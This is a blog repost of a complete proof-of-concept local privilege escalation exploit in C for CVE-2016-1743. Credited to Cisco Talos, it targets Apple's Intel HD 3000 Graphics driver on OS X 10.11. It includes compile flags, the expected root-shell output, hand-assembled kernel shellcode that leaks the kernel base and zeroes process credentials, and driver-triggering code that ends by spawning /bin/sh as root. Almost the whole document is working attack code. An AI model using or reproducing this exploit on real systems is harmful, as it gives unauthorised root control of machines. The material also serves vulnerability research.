Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863571822

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

/*

░▀█▀░█▀█░█░░░█▀█░█▀▀░░░█░█░█░█░█░░░█▀█░█▀▄░█▀▀░█░█░
░░█░░█▀█░█░░░█░█░▀▀█░░░▀▄▀░█░█░█░░░█░█░█░█░█▀▀░▀▄▀░
░░▀░░▀░▀░▀▀▀░▀▀▀░▀▀▀░░░░▀░░▀▀▀░▀▀▀░▀░▀░▀▀░░▀▀▀░░▀░░
  T   A   L   O   S     V   U   L   N   D   E   V

Proof-of-Concept Exploit
Advisory: http://www.talosintel.com/reports/TALOS-2016-0088/
Snort rules: 37517, 37518
CVE-2016-1743

Author: Piotr Bania, Cisco Talos
Target: Apple Intel HD 3000 Graphics driver 
Impact: Local Privilege Escalation (root)

Tested Configuration: 
Apple Intel HD 3000 Graphics driver 10.0.0
Darwin Kernel Version 15.2.0
OSX 10.11.2

Compilation: 
gcc TALOS-2016-0088_poc.c lsym.m -o TALOS-2016-0088_poc -framework IOKit -framework Foundation -m32 -Wl,-pagezero_size,0 -O3

kudos: 
qwertyoruiop (i've grabbed the lsym thing from you)


technical information (AppleIntelHD3000Graphics driver 10.0.0) :
...
__text:000000000001AA4E                 mov     ecx, [rcx]
__text:000000000001AA50                 add     ecx, ecx
__text:000000000001AA52                 sub     eax, ecx
__text:000000000001AA54                 cmp     rbx, rax
__text:000000000001AA57                 ja      loc_1AC8C
__text:000000000001AA5D                 mov     [rbp+var_54], esi
__text:000000000001AA60                 mov     rax, [rdi]
__text:000000000001AA63                 mov     esi, 168h
__text:000000000001AA68                 call    qword ptr [rax+980h]         ; # WE CAN CONTROL THIS #


Expected output:

mac-mini:bug mini$ uname -a
Darwin BLAs-Mac-mini 15.2.0 Darwin Kernel Version 15.2.0: Fri Nov 13 19:56:56 PST 2015; root:xnu-3248.20.55~2/RELEASE_X86_64 x86_64

mac-mini:bug mini$ ./TALOS-2016-0088_poc
---------------------------------------------------------------- 
APPLE MAC MINI AppleIntelHD3000Graphics EXPLOIT OSX 10.11 
by Piotr Bania / CISCO TALOS
---------------------------------------------------------------- 


Alloc: deallocating! 
Alloc: allocating 0x2000 (0x00000000 - 0x00002000)bytes
Alloc: vm_allocate ok, now vm_protect ...
Alloc: vm_allocate returned = 0 - addr = 0x00000000, vm_protect ok, filling
Mapping the kernel 
MapKernel: kernel mapped 
Initializing service 
InitService: Trying: Gen6Accelerator 
InitService: service ok! 
Commencing stage 1 
Stage1: Copying the stage1 payload 0x00001000 - 0x00001071 
Stage1: Setting up the RIP to 0x00001000 
Stage1: Copying trigger data 
Stage1: Making stage1 call
Stage1: leaked kernel address 0xffffff8021e00000 
Stage1: kernel address leaked, success! 
ResolveApi: using kernel addr 0xffffff8021e00000 (file base = 0xffffff8000200000) 
ResolveApi: _current_proc = 0xffffff8022437a60  
ResolveApi: _proc_ucred = 0xffffff80223a9af0  
ResolveApi: _posix_cred_get = 0xffffff802237e780  
ResolveApi: _chgproccnt = 0xffffff80223a8400  
Commencing stage 2 
Stage2: preparing the stage2 payload 
Stage2: Copying the stage2 payload 0x00001000 - 0x00001071 
Stage2: Setting up the RIP to 0x00001000 
Stage2: Copying trigger data 
Stage2: Making stage2 call
Stage2: success, got root! 
Stage2: now executing shell 
sh-3.2# whoami
root
sh-3.2# 

*/


#include "import.h"

/**

    defines

**/

#define MEM_SIZE                        0x2000
#define PAYLOAD_MEM_START               0x1000
#define INIT_SIG                        0x0210010100000008
#define OFFSET_PAYLOAD_EXEC             0x980
#define OFFSET_ROOM                     64

#define RESOLVE_SYMBOL_MY(map, name)    lsym_find_symbol(map, name) - base + KernelAddr


/**

    stage 1 payload - get kernel address and put it to 0x1000

 ; memory space for kernel address 
 
 nop
 nop
 nop
 nop
 nop
 nop
 nop
 nop
 
 save_regs64
 
 
    ; get msr entry
    mov     rcx, 0C0000082h     ;   lstar
    rdmsr				        ;   MSR[ecx] --> edx:eax
    shl     rdx, 32
    or	    rax, rdx
      
    ; find kernel addr - scan backwards
MAX_KERNEL_SCAN_SIZE    equ 10000h    
KERNEL_SIG              equ 01000007FEEDFACFh
PAGE_SIZE               equ 1000h    
    
    
    mov     rcx, MAX_KERNEL_SCAN_SIZE
    and     rax, not 0FFFFFh
    xor     rdx, rdx
    mov     r8, KERNEL_SIG
    
 
scan_loop:
    sub     rax, PAGE_SIZE
    dec     rcx
    jz      scan_done

    ; is sig correct?
    cmp     qword [rax], r8
    jnz     scan_loop
    
    mov     rdx, rax
    
scan_done:    
    
    ; store the addr - rdx kernel addr, 0 if not found
    lea     rcx, [shell_start]
    mov     qword [rcx], rdx
 
 load_regs64
 
    xor     rax, rax
    xor     r15, r15
    
    ret
     
    
    
**/

unsigned char stage1[113] = {
	0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x53, 0x55, 0x57, 0x56, 0x41, 0x54, 0x41, 0x55, 
	0x41, 0x56, 0x41, 0x57, 0x48, 0xB9, 0x82, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x32, 
	0x48, 0xC1, 0xE2, 0x20, 0x48, 0x09, 0xD0, 0x48, 0xC7, 0xC1, 0x00, 0x00, 0x01, 0x00, 0x48, 0x25, 
	0x00, 0x00, 0xF0, 0xFF, 0x48, 0x31, 0xD2, 0x49, 0xB8, 0xCF, 0xFA, 0xED, 0xFE, 0x07, 0x00, 0x00, 
	0x01, 0x48, 0x2D, 0x00, 0x10, 0x00, 0x00, 0x48, 0xFF, 0xC9, 0x74, 0x08, 0x4C, 0x39, 0x00, 0x75, 
	0xF0, 0x48, 0x89, 0xC2, 0x48, 0x8D, 0x0D, 0xA5, 0xFF, 0xFF, 0xFF, 0x48, 0x89, 0x11, 0x41, 0x5F, 
	0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 0x5E, 0x5F, 0x5D, 0x5B, 0x48, 0x31, 0xC0, 0x4D, 0x31, 0xFF, 
	0xC3
};


/**

    stage 2 payload - escalate

  jmp over_api_table
 
 
    api_current_proc    dq   0
    api_proc_ucred      dq   0
    api_posix_cred_get  dq   0
    api_chgproccnt      dq   0
 
 
 
 over_api_table:
 save_regs64   
    
       mov     rax, qword [api_current_proc]
    call    rax
    mov     rdi, rax        ; rdi = cur_proc
    
    
    ; system v abi - rdi first arg
    mov     rax, qword [api_proc_ucred]
    call    rax
    
    
    ; rax = cur_ucred
    mov     rdi, rax
    mov     rax, qword [api_posix_cred_get]
    call    rax
    
    ; rax = pcred
    mov     dword [rax], 0
    mov     dword [rax+8], 0
    
 load_regs64
 
    xor     rax, rax
    xor     r15, r15
    
    ret
    
**/


#define     OFF_API_START               2                   
#define     OFF_API_CURRENT_PROC        OFF_API_START
#define     OFF_API_PROC_UCRED          OFF_API_CURRENT_PROC    + 8
#define     OFF_API_POSIX_CRED_GET      OFF_API_PROC_UCRED      + 8
#define     OFF_API_CHGPROCCNT          OFF_API_POSIX_CRED_GET  + 8     // not used in this example


unsigned char stage2[111] = {
	0xEB, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x53, 0x55, 0x57, 0x56, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8B, 
	0x05, 0xCD, 0xFF, 0xFF, 0xFF, 0xFF, 0xD0, 0x48, 0x89, 0xC7, 0x48, 0x8B, 0x05, 0xC9, 0xFF, 0xFF, 
	0xFF, 0xFF, 0xD0, 0x48, 0x89, 0xC7, 0x48, 0x8B, 0x05, 0xC5, 0xFF, 0xFF, 0xFF, 0xFF, 0xD0, 0xC7, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0xC7, 0x40, 0x08, 0x00, 0x00, 0x00, 0x00, 0x41, 0x5F, 0x41, 0x5E, 
	0x41, 0x5D, 0x41, 0x5C, 0x5E, 0x5F, 0x5D, 0x5B, 0x48, 0x31, 0xC0, 0x4D, 0x31, 0xFF, 0xC3
};



/**

    globals
    
**/

uint64_t                mem;
io_connect_t            conn;

uint64_t                KernelAddr          =   0;
lsym_map_t*             MappingKernel       =   0;

uint64_t                api_current_proc    =   0;
uint64_t                api_proc_ucred      =   0;
uint64_t                api_posix_cred_get  =   0;
uint64_t                api_chgproccnt      =   0;
 
 


/**

    functions
    
**/



uint64_t Alloc(uint32_t addr, uint32_t sz) 
{
    mach_error_t	k_error;
    
    printf("Alloc: deallocating! \n");
    vm_deallocate(mach_task_self(), (vm_address_t) addr, sz);
    
    printf("Alloc: allocating 0x%x (0x%08x - 0x%08x) bytes\n", sz, addr, addr+sz);
    k_error = vm_allocate(mach_task_self(), (vm_address_t*)&addr, sz, 0);
    
    if (k_error != KERN_SUCCESS)
    {
         printf("Alloc: vm_allocate() - failed with message %s (error = %d)!\n", mach_error_string(k_error), k_error);
         exit(-1);
    }
    
    
    printf("Alloc: vm_allocate ok, now vm_protect ...\n");
 
    k_error =  vm_protect(mach_task_self(), addr, sz, 0, 7); //rwx
       
    if (k_error != KERN_SUCCESS)
    {
         printf("Alloc: vm_protect() - failed with message %s (error = %d)!\n", mach_error_string(k_error), k_error);
         exit(-1);        
    }
     
    printf("Alloc: vm_allocate returned = %d - addr = 0x%08x, vm_protect ok, filling\n", k_error, addr);
   
    while(sz--) *(char*)(addr+sz)=0;
    return addr;
}


int MapKernel(void)
{
    
    MappingKernel   =   lsym_map_file("/mach_kernel");
    if (!MappingKernel || !MappingKernel->map) 
    {
        MappingKernel  =   lsym_map_file("/System/Library/Kernels/kernel");
    }
    
    if (!MappingKernel || !MappingKernel->map) 
    {
        printf("MapKernel: unable to map kernel, quiting \n");
        return -1;
    }
    
    
    printf("MapKernel: kernel mapped \n");
    return 1;
}



int ResolveApi(void)
{
    
 
    uint64_t        base                =   lsym_kernel_base(MappingKernel);
      
    api_current_proc    =   RESOLVE_SYMBOL_MY(MappingKernel, "_current_proc");
    api_proc_ucred      =   RESOLVE_SYMBOL_MY(MappingKernel, "_proc_ucred");   
    api_posix_cred_get  =   RESOLVE_SYMBOL_MY(MappingKernel, "_posix_cred_get");
    api_chgproccnt      =   RESOLVE_SYMBOL_MY(MappingKernel, "_chgproccnt");
  
    printf("ResolveApi: using kernel addr 0x%016llx (file base = 0x%016llx) \n", KernelAddr, base);
    printf("ResolveApi: _current_proc = 0x%016llx  \n", api_current_proc);
    printf("ResolveApi: _proc_ucred = 0x%016llx  \n", api_proc_ucred);
    printf("ResolveApi: _posix_cred_get = 0x%016llx  \n", api_posix_cred_get);
    printf("ResolveApi: _chgproccnt = 0x%016llx  \n", api_chgproccnt);
       
    return 1;
    
}




int InitService(char *IoServiceName)
{
    int                     type;
    io_service_t            service;
    CFMutableDictionaryRef  matching;
    io_iterator_t           iterator;    
    
    printf("InitService: Trying: %s \n", IoServiceName);
    
    matching = IOServiceMatching(IoServiceName);
    
    if( !matching) 
    {
        printf("Initservice: IOServiceMatching() failed \n");
        return -1;
    }
    
    if (IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator) != KERN_SUCCESS) 
    {
        printf("InitService: IOServiceGetMatchingServices failed \n");
        return -1;
    }

   
    service = IOIteratorNext(iterator);
    if (service == IO_OBJECT_NULL) 
    {
        printf("InitService: IOIteratorNext failed \n");
        return -1;
    }
    
    
    type        =   0;
    conn        =   MACH_PORT_NULL;
    if (IOServiceOpen(service, mach_task_self(), 5, &conn) != KERN_SUCCESS) 
    {
        printf("InitService: IOServiceOpen failed! \n");
        return -1;
    }
   
    printf("InitService: service ok! \n");
    return 1;
}



int Stage1(void)
{
    unsigned    char        *p;
    unsigned    char        *p_ptr;
    
    kern_return_t           k_error;

    char                    UselessStruct[4096];
    size_t                  UselessStructSize = 0x14; 
        
    
    p                   = (unsigned char*)mem; 
    p_ptr               = p + OFFSET_ROOM;
    
    
    
    printf("Stage1: Copying the stage1 payload 0x%08x - 0x%08lx \n", PAYLOAD_MEM_START, PAYLOAD_MEM_START + sizeof(stage1));
    memcpy((void*)(p + PAYLOAD_MEM_START), (void*)&stage1, sizeof(stage1));

    printf("Stage1: Setting up the RIP to 0x%08x \n", PAYLOAD_MEM_START);
    *(uint64_t*)(p + OFFSET_PAYLOAD_EXEC) = PAYLOAD_MEM_START;
    
    
    printf("Stage1: Copying trigger data \n");
    *(uint64_t*)p_ptr    =   INIT_SIG;
    
    printf("Stage1: Making stage1 call\n");    
    k_error = IOConnectCallMethod(conn, 0x5, 0, 0, p_ptr, 0x8c, 0, 0, &UselessStruct, &UselessStructSize); 
   
    KernelAddr      =   *(uint64_t*)PAYLOAD_MEM_START;
    printf("Stage1: leaked kernel address 0x%016llx \n", KernelAddr);
    
    if ((KernelAddr == 0) || (KernelAddr == 0x90909090)) 
    {
        printf("Stage1: fatal kernel address is wrong, exiting \n");
        return -1;
    }
    
    printf("Stage1: kernel address leaked, success! \n");
    return 1;
}


int Stage2(void)
{
    int         i;
    unsigned    char        *p;
    unsigned    char        *p_ptr;
    
    kern_return_t           k_error;

    char                    UselessStruct[4096];
    size_t                  UselessStructSize = 0x14; 
        
    
    p                   = (unsigned char*)mem; 
    p_ptr               = p + OFFSET_ROOM;
    
    
    printf("Stage2: preparing the stage2 payload \n");

    unsigned char *t                            =   (unsigned char*)&stage2;
    *(uint64_t*)(t + OFF_API_CURRENT_PROC)      =   api_current_proc;
    *(uint64_t*)(t + OFF_API_PROC_UCRED)        =   api_proc_ucred;
    *(uint64_t*)(t + OFF_API_POSIX_CRED_GET)    =   api_posix_cred_get;
    *(uint64_t*)(t + OFF_API_CHGPROCCNT)        =   api_chgproccnt;
   
    
    printf("Stage2: Copying the stage2 payload 0x%08x - 0x%08lx \n", PAYLOAD_MEM_START, PAYLOAD_MEM_START + sizeof(stage1));
    memcpy((void*)(p + PAYLOAD_MEM_START), (void*)&stage2, sizeof(stage2));

    printf("Stage2: Setting up the RIP to 0x%08x \n", PAYLOAD_MEM_START);
    *(uint64_t*)(p + OFFSET_PAYLOAD_EXEC) = PAYLOAD_MEM_START;
    
   
    printf("Stage2: Copying trigger data \n");
    *(uint64_t*)p_ptr    =   INIT_SIG;
    
 
    printf("Stage2: Making stage2 call\n");    
    k_error = IOConnectCallMethod(conn, 0x5, 0, 0, p_ptr, 0x8c, 0, 0, &UselessStruct, &UselessStructSize); 
   
    
    setuid(0);
    if (getuid() == 0) 
    {
        
        printf("Stage2: success, got root! \n");
        printf("Stage2: now executing shell \n");
  
        system("/bin/sh");
        exit(0);
    }
    
    
    printf("Stage2: failed! \n");
    return -1;    

}




int main(void)
{
    printf(" ---------------------------------------------------------------- \n");
    printf(" APPLE MAC MINI AppleIntelHD3000Graphics EXPLOIT OSX 10.11 \n"); 
    printf(" by Piotr Bania / CISCO TALOS \n");
    printf(" ---------------------------------------------------------------- \n\n\n");
    
    
    IOServiceClose(0);                      
    IOServiceOpen(0, 0, 0, 0);                 
    
    // if this fails and we are done 
    mem = Alloc(0, MEM_SIZE);
    
    
    printf("Mapping the kernel \n");
    
    if (MapKernel() == -1)
        return -1;
 
    printf("Initializing service \n");
    
    if (InitService("Gen6Accelerator") == -1)
        return -1;
    
    printf("Commencing stage 1 \n");
    
    if (Stage1() == -1)
        return -1;

    if (ResolveApi() == -1)
        return -1;

    printf("Commencing stage 2 \n");
     
    Stage2();
 
 
    return 1;
}